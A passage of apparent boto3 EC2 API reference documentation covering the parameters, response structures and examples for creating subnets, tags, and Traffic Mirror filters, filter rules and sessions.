'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + VpcId='string', + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id191)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id193)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Subnet': { + 'AvailabilityZone': 'string', + 'AvailabilityZoneId': 'string', + 'AvailableIpAddressCount': 123, + 'CidrBlock': 'string', + 'DefaultForAz': True|False, + 'MapPublicIpOnLaunch': True|False, + 'MapCustomerOwnedIpOnLaunch': True|False, + 'CustomerOwnedIpv4Pool': 'string', + 'State': 'pending'|'available', + 'SubnetId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'AssignIpv6AddressOnCreation': True|False, + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SubnetArn': 'string', + 'OutpostArn': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Subnet** _(dict) --_ + + Information about the subnet. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the subnet. + + * **AvailabilityZoneId** _(string) --_ + + The AZ ID of the subnet. + + * **AvailableIpAddressCount** _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + * **DefaultForAz** _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + * **MapPublicIpOnLaunch** _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + * **MapCustomerOwnedIpOnLaunch** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + * **CustomerOwnedIpv4Pool** _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + * **State** _(string) --_ + + The current state of the subnet. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **VpcId** _(string) --_ + + The ID of the VPC the subnet is in. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the subnet. + + * **AssignIpv6AddressOnCreation** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **SubnetArn** _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +**Examples** + +This example creates a subnet in the specified VPC with the specified CIDR block. We recommend that you let us select an Availability Zone for you. + +response = client.create_subnet( + CidrBlock='10.0.1.0/24', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'Subnet': { + 'AvailabilityZone': 'us-west-2c', + 'AvailableIpAddressCount': 251, + 'CidrBlock': '10.0.1.0/24', + 'State': 'pending', + 'SubnetId': 'subnet-9d4a7b6c', + 'VpcId': 'vpc-a01106c2', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = client.create_tags( + DryRun=True|False, + Resources=[ + 'string', + ], + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Resources** (_list_) -- + + **[REQUIRED]** + + The IDs of the resources, separated by spaces. + + Constraints: Up to 1000 resource IDs. We recommend breaking up this request into smaller batches. + + * _(string) --_ +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +**Examples** + +This example adds the tag Stack=production to the specified image, or overwrites an existing tag for the AMI where the tag key is Stack. + +response = client.create_tags( + Resources=[ + 'ami-78a54011', + ], + Tags=[ + { + 'Key': 'Stack', + 'Value': 'production', + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +create_traffic_mirror_filter(kwargs_) + +Creates a Traffic Mirror filter. + +A Traffic Mirror filter is a set of rules that defines the traffic to mirror. + +By default, no traffic is mirrored. To mirror traffic, use [CreateTrafficMirrorFilterRule](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTrafficMirrorFilterRule.htm) to add Traffic Mirror rules to the filter. The rules you add define what traffic gets mirrored. You can also use [ModifyTrafficMirrorFilterNetworkServices](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyTrafficMirrorFilterNetworkServices.html) to mirror supported network services. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTrafficMirrorFilter) + +**Request Syntax** + +response = client.create_traffic_mirror_filter( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **Description** (_string_) -- The description of the Traffic Mirror filter. +* **TagSpecifications** (_list_) -- + + The tags to assign to a Traffic Mirror filter. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id197)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id199)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilter': { + 'TrafficMirrorFilterId': 'string', + 'IngressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'EgressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'NetworkServices': [ + 'amazon-dns', + ], + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilter** _(dict) --_ + + Information about the Traffic Mirror filter. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **IngressFilterRules** _(list) --_ + + Information about the ingress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **EgressFilterRules** _(list) --_ + + Information about the egress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **NetworkServices** _(list) --_ + + The network service traffic that is associated with the Traffic Mirror filter. + + * _(string) --_ + * **Description** _(string) --_ + + The description of the Traffic Mirror filter. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror filter. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + +create_traffic_mirror_filter_rule(kwargs_) + +Creates a Traffic Mirror filter rule. + +A Traffic Mirror rule defines the Traffic Mirror source traffic to mirror. + +You need the Traffic Mirror filter ID when you create the rule. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTrafficMirrorFilterRule) + +**Request Syntax** + +response = client.create_traffic_mirror_filter_rule( + TrafficMirrorFilterId='string', + TrafficDirection='ingress'|'egress', + RuleNumber=123, + RuleAction='accept'|'reject', + DestinationPortRange={ + 'FromPort': 123, + 'ToPort': 123 + }, + SourcePortRange={ + 'FromPort': 123, + 'ToPort': 123 + }, + Protocol=123, + DestinationCidrBlock='string', + SourceCidrBlock='string', + Description='string', + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **TrafficMirrorFilterId** (_string_) -- + + **[REQUIRED]** + + The ID of the filter that this rule is associated with. + +* **TrafficDirection** (_string_) -- + + **[REQUIRED]** + + The type of traffic (ingress | egress ). + +* **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The number of the Traffic Mirror rule. This number must be unique for each Traffic Mirror rule in a given direction. The rules are processed in ascending order by rule number. + +* **RuleAction** (_string_) -- + + **[REQUIRED]** + + The action to take (accept | reject ) on the filtered traffic. + +* **DestinationPortRange** (_dict_) -- + + The destination port range. + + * **FromPort** _(integer) --_ + + The first port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The last port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + +* **SourcePortRange** (_dict_) -- + + The source port range. + + * **FromPort** _(integer) --_ + + The first port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The last port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + +* **Protocol** (_integer_) -- + + The protocol, for example UDP, to assign to the Traffic Mirror rule. + + For information about the protocol value, see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) on the Internet Assigned Numbers Authority (IANA) website. + +* **DestinationCidrBlock** (_string_) -- + + **[REQUIRED]** + + The destination CIDR block to assign to the Traffic Mirror rule. + +* **SourceCidrBlock** (_string_) -- + + **[REQUIRED]** + + The source CIDR block to assign to the Traffic Mirror rule. + +* **Description** (_string_) -- The description of the Traffic Mirror rule. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilterRule': { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilterRule** _(dict) --_ + + The Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + +create_traffic_mirror_session(kwargs_) + +Creates a Traffic Mirror session. + +A Traffic Mirror session actively copies packets from a Traffic Mirror source to a Traffic Mirror target. Create a filter, and then assign it to the session to define a subset of the traffic to mirror, for example all TCP traffic. + +The Traffic Mirror source and the Traffic Mirror target (monitoring appliances) can be in the same VPC, or in a different VPC connected via VPC peering or a transit gateway. + +By default, no traffic is mirrored. Use [CreateTrafficMirrorFilter](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTrafficMirrorFilter.htm) to create filter rules that specify the traffic to mirror. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTrafficMirrorSession) + +**Request Syntax** + +response = client.create_traffic_mirror_session( + NetworkInterfaceId='string', + TrafficMirrorTargetId='string', + TrafficMirrorFilterId='string', + PacketLength=123, + SessionNumber=123, + VirtualNetworkId=123, + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False, + ClientToken='string' +) + +Parameters + +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the source network interface. + +* **TrafficMirrorTargetId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror target. + +* **TrafficMirrorFilterId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror filter. + +* **PacketLength** (_integer_) -- + + The number of bytes in each packet to mirror. These are bytes after the VXLAN header. Do not specify this parameter when you want to mirror the entire packet. To mirror a subset of the packet, set this to the length (in bytes) that you want to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. + + If you do not want to mirror the entire packet, use the PacketLength parameter to specify the number of bytes in each packet to mirror. + +* **SessionNumber** (_integer_) -- + + **[REQUIRED]** + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + +* **VirtualNetworkId** (_integer_) -- The VXLAN ID for the Traffic Mirror session. For more information about the VXLAN protocol, see [RFC 7348](https://tools.ietf.org/html/rfc7348) . If you do not specify a VirtualNetworkId , an account-wide unique id is chosen at random. +* **Description** (_string_) -- The description of the Traffic Mirror session. +* **TagSpecifications** (_list_) -- + + The tags to assign to a Traffic Mirror session. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id203)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id205)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorSession': { + 'TrafficMirrorSessionId': 'string', + 'TrafficMirrorTargetId': 'string', + 'TrafficMirrorFilterId': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PacketLength': 123, + 'SessionNumber': 123, + 'VirtualNetworkId': 123, + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + 'ClientToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorSession** _(dict) --_ + + Information about the Traffic Mirror session. + + * **TrafficMirrorSessionId** _(string) --_ + + The ID for the Traffic Mirror session. + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the 